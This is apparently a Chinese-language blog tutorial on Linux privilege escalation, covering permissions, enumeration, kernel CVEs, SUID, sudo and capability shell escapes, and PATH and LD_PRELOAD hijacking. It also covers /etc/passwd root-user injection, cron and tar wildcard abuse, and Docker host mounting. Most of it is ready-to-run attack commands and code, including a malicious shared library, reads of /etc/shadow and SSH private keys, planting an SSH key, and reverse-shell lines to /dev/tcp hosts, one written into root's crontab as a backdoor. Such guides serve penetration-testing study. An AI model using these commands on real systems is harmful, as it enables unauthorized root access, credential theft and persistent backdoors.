前言
Linux 提权( Privilege Escalation,简称 PrivEsc )指的是:从低权限用户提升到更高权限(通常是 root )的过程,主要分为内核提权和其他类型提权。
Linux 基础
在正式开始学习 Linux 提权之前,有些相关的基础知识需要掌握,在后面写的过程中有一些概念也放在这里面。
1. Linux 权限模型
Linux 每个文件都有:文件所有者(owner)、文件所属组(group)、其他用户(others),权限管理用10位表示法:
[文件类型][U][G][O] [文件类型]: - 普通文件 d 目录 l 软链接 c 字符设备 b 块设备 [U]:所有者权限 [G]:所属组权限 [O]:其他用户权限
| 权限 | 文件 | 目录 |
|---|---|---|
| r | 读取内容 | 查看目录文件名 |
| w | 修改内容 | 创建删除文件 |
| x | 执行 | 进入目录 |
示例:
-rwxr-xr--
表示该文件所有者有 rwx 权限,所属组有 rx 权限,其他用户有 r 权限,同时,也可以用数字表示,r = 4,w = 2,x = 1,该示例就为 754 。
2. 特殊权限位
- SUID
执行时以文件所有者身份运行,当 U 具有 x 权限时,添加 SUID 后该 x 位变为 s ,不具有时变为 S ,用数字表示是 4000 ,可以用find / -perm -4000 2>/dev/null查看,添加可以用chmod u+s test。 - SGID
文件:执行时以文件所属组身份运行;目录:新建文件继承目录组所有权,当 G 具有 x 权限时,添加 SGID 后该 x 位变为 s ,不具有时变为 S ,用数字表示是 2000 。 - Sticky Bit
在目录上设置时,只有所有者、目录所有者或 root 可删除或重命名文件,当 O 具有 x 权限时,添加后该 x 位变为 t ,不具有时变为 T,用数字表示是 1000 。
3. /etc/passwd
/etc/passwd 是 Linux 中非常重要的系统文件,保存用户账户信息。
示例:
用户名:密码占位符:UID:GID:描述:家目录:登录Shell root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin alice:x:1000:1000:Alice:/home/alice:/bin/bash
每一行代表一个用户,一共 7 个字段,
| 字段 | 内容 | 含义 |
|---|---|---|
| 1 | root | 用户名 |
| 2 | x | 密码字段,x 是占位符,密码已移动到 /etc/shadow;为空表示无密码,可直接登录 |
| 3 | 0 | UID ,用户 ID,root 是 0,系统用户是 1-999,普通用户是 1000+ |
| 4 | 0 | GID,组 ID |
| 5 | root | 用户描述 |
| 6 | /root | 家目录 |
| 7 | /bin/bash | 登录 Shell, 用户登录系统后,默认启动的命令解释器(shell 程序) |
4. /etc/shadow
Linux 中保存用户密码哈希(hash)信息的文件。
示例:
用户名:密码hash:最近修改时间:最小间隔:最大间隔:警告时间:宽限期:账户失效日期:保留 root:$y$j9T$PvTjazjliv1w23ZO2Id3L0$1vm0ofCDn.j4YMNKLqi3kRGFl.pb6kfEJh./k4XzdLA:20469:0:99999:7:::
密码字段 $算法$id$salt$hash ,该示例 yescrypt 算法,j9T 参数,PvTjazjliv1w23ZO2Id3L0 盐。
| 标识 | 算法 |
|---|---|
$1$ | MD5 |
$2a$ | Blowfish |
$5$ | SHA-256 |
$6$ | SHA-512 |
$y$ | yescrypt |
其中,密码字段还有其他情况:
root:!:20469:0:99999:7::: !账户密码被锁定,不能用密码登录,但可能还能通过其他方式登录(比如 SSH key)。 user:!!:20469:0:99999:7::: 用户创建了,但是还没有设置密码。 mysql:*:20469:0:99999:7::: 密码登录被禁用。 root::20469:0:99999:7::: 无密码。
5. /etc/sudoers
是 Linux 中 sudo 命令的配置文件,它规定哪些用户可以使用 sudo,以及可以用 sudo 执行哪些命令。
示例:
root ALL=(ALL:ALL) ALL root 用户可以在任何主机,以任何用户和组身份执行任何命令 %sudo ALL=(ALL:ALL) ALL sudo组都有全部sudo权限
所以就可以用 cat /etc/group | grep sudo 去查看 sudo 组的用户,尝试用这些用户提权。
信息收集
拿到一个普通 shell 后,不要急着执行 exploit,先收集信息。
1. 查看系统信息
# 打印所有可用的系统信息 uname -a # 内核版本 uname -r # 系统主机名 uname -n # 系统主机名 hostname # 查看系统内核架构(64位/32位) uname -m # 内核信息 cat /proc/version # 分发信息 cat /etc/os-release # 分发信息 cat /etc/issue # CPU信息 cat /proc/cpuinfo
2. 用户和群组
# 列出系统上的所有用户
cat /etc/passwd
# 列出系统上的所有用户组
cat /etc/group
# 列出所有的超级用户账户(UID = 0)
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1 }'
# 查看 root 用户的本地邮件(可能包含系统通知)
cat /var/mail/root
cat /var/spool/mail/root
# 查看当前用户
whoami
# 查看当前用户详细信息
id
# 查看当前已登录的用户及其活动
w
# 查看最近登录的用户列表
last
# 查看所有用户的上次登录信息
lastlog
# 查看指定用户的上次登录信息(将 %username% 替换为用户名)
lastlog -u 用户名
# 谁被允许以root身份执行
cat /etc/sudoers
# 当前用户可以以root身份执行操作
sudo -l
3. SUID/SGID/可写文件扫描
# 查找 SUID 文件,提权的重点关注对象 find / -perm -4000 -type f 2>/dev/null # 查找 SGID 文件 find / -perm -2000 -type f 2>/dev/null # 查找当前用户可写的文件 find / -writable -type f 2>/dev/null # 查看关键系统文件的权限 ls -la /etc/passwd /etc/shadow /etc/sudoers # 查找具有特殊 capabilities 的文件 getcap -r / 2>/dev/null
可写的关键文件是提权的大线索,比如 /etc/passwd 可写时,可以直接添加一个 UID 为 0 的用户。
4. 计划任务、进程与网络
# 查看当前用户的计划任务 crontab -l # 查看系统的计划任务 cat /etc/crontab ls -la /etc/cron.d /etc/cron.daily # 查看正在运行的进程,重点关注 root 用户执行的进程 ps aux # 查看监听端口与网络连接 ss -tulpn netstat -tulnp
root 定期执行的计划任务脚本如果可写,替换后等待触发即可拿到 root 权限。
5. 环境系统变量信息
# 显示环境变量 env # 查看所有 Shell 变量 set # 查看 PATH echo $PATH # 显示当前用户的历史命令记录 history # 显示默认系统变量 cat /etc/profile # 显示可用的shell cat /etc/shells
6. 查找明文密码
# 在文件中查找包含 "user"(不区分大小写)的行 grep -i user [filename] # 在文件中查找包含 "pass"(不区分大小写)的行 grep -i pass [filename] # 在文件中查找包含 "password" 的行,并显示上下 5 行的内容 grep -C 5 "password" [filename] # 查找当前目录及子目录中所有 .php 文件,查找其中包含 "var $password" 的行,并显示行号 find . -name "*.php" -print0 | xargs -0 grep -i -n 'var $password'
7. ssh 私钥
# 查看当前用户的 SSH 授权密钥 cat ~/.ssh/authorized_keys # 查看当前用户的 SSH 身份密钥(公钥) cat ~/.ssh/identity.pub # 查看当前用户的 SSH 身份密钥(私钥) cat ~/.ssh/identity # 查看当前用户的 RSA 公钥 cat ~/.ssh/id_rsa.pub # 查看当前用户的 RSA 私钥 cat ~/.ssh/id_rsa # 查看当前用户的 DSA 公钥 cat ~/.ssh/id_dsa.pub # 查看当前用户的 DSA 私钥 cat ~/.ssh/id_dsa # 查看 SSH 客户端配置文件 cat /etc/ssh/ssh_config # 查看 SSH 服务端配置文件 cat /etc/ssh/sshd_config # 查看 SSH DSA 主机公钥 cat /etc/ssh/ssh_host_dsa_key.pub # 查看 SSH DSA 主机私钥 cat /etc/ssh/ssh_host_dsa_key # 查看 SSH RSA 主机公钥 cat /etc/ssh/ssh_host_rsa_key.pub # 查看 SSH RSA 主机私钥 cat /etc/ssh/ssh_host_rsa_key # 查看 SSH 主机公钥 cat /etc/ssh/ssh_host_key.pub # 查看 SSH 主机私钥 cat /etc/ssh/ssh_host_key
8. LinPEAS
LinPEAS 是一款自动化的信息收集脚本。
# 下载 wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh # 添加执行权限 chmod +x linpeas.sh # 运行 bash linpeas.sh
内核漏洞提权
内核漏洞提权是指利用操作系统内核自身的漏洞,把普通用户权限提升为 root。内核漏洞的 exploit 通常以本地提权(Local Privilege Escalation,LPE)的形式存在,一旦成功,攻击者就获得了整个系统的控制权。
1. 经典内核漏洞
| 漏洞 | CVE | 受影响范围 | 说明 |
|---|---|---|---|
| Dirty COW | CVE-2016-5195 | Linux 2.6.22 – 4.8.3 | 写时复制(COW)竞态条件,可写入只读文件,最经典的提权漏洞之一 |
| Dirty Pipe | CVE-2022-0847 | Linux 5.8 – 5.16.11 | 管道缓冲区未初始化,可覆盖只读文件,利用简单且稳定 |
| PwnKit | CVE-2021-4034 | 2009 年以来的所有主流发行版 | polkit 组件漏洞,通过 pkexec 提权,影响面极广 |
| OverlayFS | CVE-2021-3493 | Ubuntu 20.04 / 20.10 默认内核 | overlayfs 文件复制逻辑缺陷,Ubuntu 上利用稳定 |
| nftables 溢出 | CVE-2024-1086 | Linux 3.15 – 6.6 | nftables 堆越界写,2024 年公开,影响范围大 |
其中 PwnKit 严格来说是 polkit 组件的漏洞而不是内核漏洞,但利用方式和最终效果相同,所以通常也归入这一类。
2. 利用流程
# 1. 查看内核版本和发行版,确定目标范围 uname -a cat /etc/os-release # 2. 根据版本搜索对应的漏洞利用代码 searchsploit linux kernel # 也可以去 exploit-db.com 或 GitHub 上搜索 # 3. 下载 exploit 源码并编译 gcc exploit.c -o exploit # 4. 上传到目标机器执行 ./exploit
3. 注意事项
- 内核版本必须和 exploit 要求的版本精确匹配,版本不对轻则利用失败,重则导致内核崩溃(panic)甚至系统重启,容易暴露行踪。
- 部分 exploit 不稳定,可能需要多次尝试,或根据目标架构(32 位/64 位)调整编译参数。
- 目标机器可能没有 gcc 等编译工具,可以本地编译后上传,注意使用
-static静态编译,避免目标机器缺少动态库。 - 内核提权相当于"核武器",实战中应优先尝试 sudo、SUID、计划任务等配置类提权,实在没有路径再考虑内核漏洞。
- 内核漏洞利用成功后通常无法用于持久化,还需要另行维持权限。
SUID 提权
在 Linux 中,SUID 是一种特殊权限位,在文件所有者的执行权限上,可以让调用者以文件拥有者的身份运行该文件,当我们以一个普通用户去运行一个 root 用户所有的 SUID 文件,那么运行该文件我们就可以获取到 root 权限。
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -type f -print 2>/dev/null
find / -user root -perm -4000 -exec ls -l {} \; 2>/dev/null
下面介绍一些常见的可以用来提权的利用方式。
1. nmap
旧版本 nmap 有:interactive 模式,可以进入交互模式,来运行具有相同权限的 shell 。
nmap --interactive nmap> !sh sh-3.2# whoami root
2. find
可以利用 -exec 参数执行任意命令。
find /tmp -exec whoami \; find /tmp -exec /bin/sh -p \;
3. vim
vim 是用来作为文本编辑器,但是如果它作为 SUID 运行,它将继承 root 用户的权限,因此它可以读取系统上的所有文件,也可以通过其他方式拿到 root 权限。
命令模式。
vim :!sh
4. less和more
less 和 more 都是 Linux 下的分页查看器,如果它们被错误设置为 SUID ,就可能造成权限提升。
less/more /etc/passwd !sh
5. bash
bash -p whoami
6. env
可以直接命令执行。
env whoami env id env bash -ip >& /dev/tcp/$ip/$port 0>&1;
7. python和perl
可以直接执行。
/usr/bin/python
import os
os.setuid(0)
os.system("/bin/sh")
/usr/bin/perl
perl -e 'setuid(0);system("id")'
8. Nano cp netcat
nano 可以编辑 root 文件,cp 复制/覆盖 root 文件,netcat -e 命令执行。
Capabilities 提权
Linux capabilities 把 root 的完整权限拆分成一项项独立特权,可以单独赋予某个文件。普通用户执行带有 capabilities 的文件时,只会获得对应的一项特权,而不是完整 root,但其中部分特权可以直接用来提权。
1. 查看 capabilities
# 递归扫描整个系统,找出带 capabilities 的文件 getcap -r / 2>/dev/null # 查看单个文件的 capabilities getcap /usr/bin/python3
输出示例:
/usr/bin/python3 cap_setuid=ep /usr/bin/tar cap_dac_read_search=ep
=ep 表示 effective + permitted(生效可用),这样的文件才能被利用。
2. 常见可提权的 capabilities
| capabilities | 效果 | 利用方式 |
|---|---|---|
cap_setuid | 任意切换用户 ID | setuid(0) 直接提权 |
cap_setgid | 任意切换组 ID | setgid(0) 直接提权 |
cap_dac_read_search | 绕过文件的读权限检查 | 直接读取 /etc/shadow 等 |
cap_dac_override | 绕过文件的读写权限检查 | 修改 /etc/passwd 等关键文件 |
cap_chown | 修改任意文件的属主 | chown root:root 任意文件 |
3. 常见利用方式
# python3 带 cap_setuid:直接切换为 root
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# perl 带 cap_setuid
perl -e 'setuid(0); system("/bin/sh")'
# tar 带 cap_dac_read_search:打包读取普通用户读不了的文件
tar -cf /tmp/shadow.tar /etc/shadow
tar -xO -f /tmp/shadow.tar etc/shadow
注意:capabilities 只提供单项特权,例如拿到 cap_dac_read_search 只能读取敏感文件,无法直接获得 shell,读到的哈希还需要配合 john / hashcat 爆破;而 cap_setuid 可以直接提权,是最有价值的利用目标。
SUDO 提权
sudo 是 Linux 中非常重要的权限管理工具,允许普通用户以其他用户(通常是 root)的身份执行某些命令,通常情况下,执行 sudo 需要输入用户自己的密码,但有时候会出现无需密码(NOPASSWD)即可执行,这些配置不当可能导致攻击者利用。示例:
sudo -l
# 查看权限
sudo /bin/bash
# 使用 sudo 启动一个新的 Bash shell。若 sudo 配置允许执行该命令,用户便能获取 root 权限并进入 shell。
sudo /bin/sh
# 与 sudo /bin/bash 类似,使用 sudo 启动一个新的 sh shell。常用于一些环境下无法使用 Bash,但仍能通过其他 shell 提权的情况。
sudo python -c 'import os; os.system("/bin/bash")'
# 通过 Python 的 os.system() 方法执行命令。该命令在 Python 中执行 bash,从而获得一个新的 shell 以提权。
sudo perl -e 'exec "/bin/bash"'
# 利用 Perl 语言中的 exec 函数直接执行 /bin/bash,从而获得 root 权限下的 Bash shell。
sudo vim -c '!sh'
# 使用 vim 编辑器执行命令 !sh 启动一个新的 shell。vim 的 -c 参数用于在启动时执行 Vim 命令,这里使用它来启动 sh shell。
sudo vi -c '!sh'
# 与 sudo vim -c '!sh' 类似,利用 vi 编辑器的 -c 参数执行命令 !sh,从而获得一个新的 shell。
sudo find / -exec /bin/bash \;
# 使用 find 命令遍历系统文件,并通过 -exec 参数执行 /bin/bash。如果 sudo 配置允许执行该命令,就会启动一个 Bash shell。
sudo awk 'BEGIN {system("/bin/sh")}'
# 使用 awk 命令执行系统命令。这里通过 BEGIN 动作直接执行 sh,启动一个新的 shell。
环境变量提权
高权限程序执行时,如果会读取用户可控的环境变量,就可能被利用。
1. PATH 劫持
程序在调用其他命令时,如果使用的是相对路径(例如 C 语言中的 system("ls")、execvp("ls", ...)),系统会按照 PATH 环境变量中的目录顺序逐个查找。如果 PATH 中存在普通用户可写的目录,并且排在系统目录前面,就可以在该目录中放一个同名恶意脚本,让程序执行我们的脚本。
# 查看当前 PATH,确认其中是否有可写目录 echo $PATH # 在可写目录 /tmp 中创建与目标命令同名的恶意脚本 echo -e '#!/bin/bash\nwhoami' > /tmp/ls chmod +x /tmp/ls # 把 /tmp 放到 PATH 最前面 export PATH=/tmp:$PATH # 此时执行 ls,实际运行的是 /tmp/ls ls
如果 root 的计划任务或 SUID 程序调用了相对路径的命令,还可以把脚本换成提权版本:
echo -e '#!/bin/bash\ncp /bin/bash /tmp/rootbash && chmod u+s /tmp/rootbash' > /tmp/ls chmod +x /tmp/ls export PATH=/tmp:$PATH # 等待触发后,执行带 SUID 的 bash 拿到 root shell /tmp/rootbash -p
注意:bash 执行 SUID 脚本时会主动重置 PATH,但编译型程序通过 system()/execvp() 调用命令时依然继承当前 PATH,PATH 劫持仍然有效。
2. LD_PRELOAD
LD_PRELOAD 环境变量可以让动态链接器在加载程序时,优先加载我们指定的共享库。如果高权限程序在运行时没有清理该变量,共享库里的代码就会以该程序的权限(root)执行。
// evil.c,编译:gcc -fPIC -shared -o evil.so evil.c -nostartfiles
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
# 编译恶意共享库 gcc -fPIC -shared -o evil.so evil.c -nostartfiles # 触发加载:如果 sudo 配置中 env_keep 保留了 LD_PRELOAD sudo LD_PRELOAD=/tmp/evil.so 任意可执行的命令 # 或者直接加载到某个 root 程序上 LD_PRELOAD=/tmp/evil.so /usr/bin/某root程序
注意:glibc 对 SUID 程序会忽略 LD_PRELOAD、LD_LIBRARY_PATH 等危险环境变量,所以直接对 SUID 文件设置 LD_PRELOAD 是无效的,但 sudo 的 env_keep 配置不当(保留 LD_PRELOAD)时依然可以触发。
/etc/passwd 提权
如果普通用户可以修改 /etc/passwd ,就可能创建一个 UID=0 的用户,从而获得 root 权限。
# 生成密码 openssl passwd -1 123456 # 写入 echo 'hacker:$1$U3j/AfY0$tkh7ZVaEdkutQYp2uBugC.:0:0:root:/root:/bin/bash' >> /etc/passwd # 提权 su hacker
定时任务提权
root 的计划任务(cron)会定期以 root 身份执行脚本,如果脚本内容或脚本调用的命令可控,就可以借机提权。
1. 查看定时任务
# 查看系统级计划任务(全局可读) cat /etc/crontab # 查看 /etc/cron.d 下的任务 ls -la /etc/cron.d cat /etc/cron.d/* # 查看按周期执行的目录 ls -la /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly # 查看当前用户的计划任务 crontab -l
发现 root 定期执行的脚本后,先检查脚本是否可写:
ls -la /usr/local/bin/backup.sh
2. 替换可写脚本
如果脚本普通用户可写,直接追加恶意命令,等 cron 触发即可:
# 向 root 定时执行的脚本追加提权命令 echo 'cp /bin/bash /tmp/rootbash && chmod u+s /tmp/rootbash' >> /usr/local/bin/backup.sh # 等任务触发后执行 /tmp/rootbash -p
3. 通配符注入
cron 任务中如果使用了带通配符的命令(例如 tar czf backup.tar.gz *),* 会被展开成目录里的文件名,而文件名会被当作 tar 的参数解析,可以利用 --checkpoint-action=exec 执行任意命令:
# 在 tar 执行目录下创建恶意脚本 echo 'cp /bin/bash /tmp/rootbash && chmod u+s /tmp/rootbash' > shell.sh # 创建触发参数文件,文件名会被 tar 当作参数 touch -- --checkpoint=1 touch -- '--checkpoint-action=exec=sh shell.sh' # 等 cron 触发 tar 后执行 /tmp/rootbash -p
Docker 提权
如果当前用户属于 docker 组,或者 /var/run/docker.sock 可写,就可以创建容器并挂载宿主机的根目录,从而完全控制宿主机。
1. 检查权限
# 查看所属组,确认是否在 docker 组 id # groups 中包含 docker 即可利用 # 查看 docker socket 权限 ls -la /var/run/docker.sock
2. 挂载宿主机文件系统
# 将宿主机的 / 挂载到容器的 /mnt,进入容器 docker run -v /:/mnt -it ubuntu /bin/bash # 容器内直接读取宿主机上的敏感文件 cat /mnt/etc/shadow # 或者 chroot 切换到宿主机的根文件系统 chroot /mnt /bin/bash
3. 写入后门
拿到宿主机文件系统访问权限后,可以写入 SSH 密钥或计划任务:
# 写入 root 的 SSH 公钥 echo 'ssh-rsa AAAAB3NzaC1yc2E...' > /mnt/root/.ssh/authorized_keys # 或写入 root 的计划任务反弹 shell echo '* * * * * root bash -c "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1"' >> /mnt/etc/crontab

评论区
评论加载中...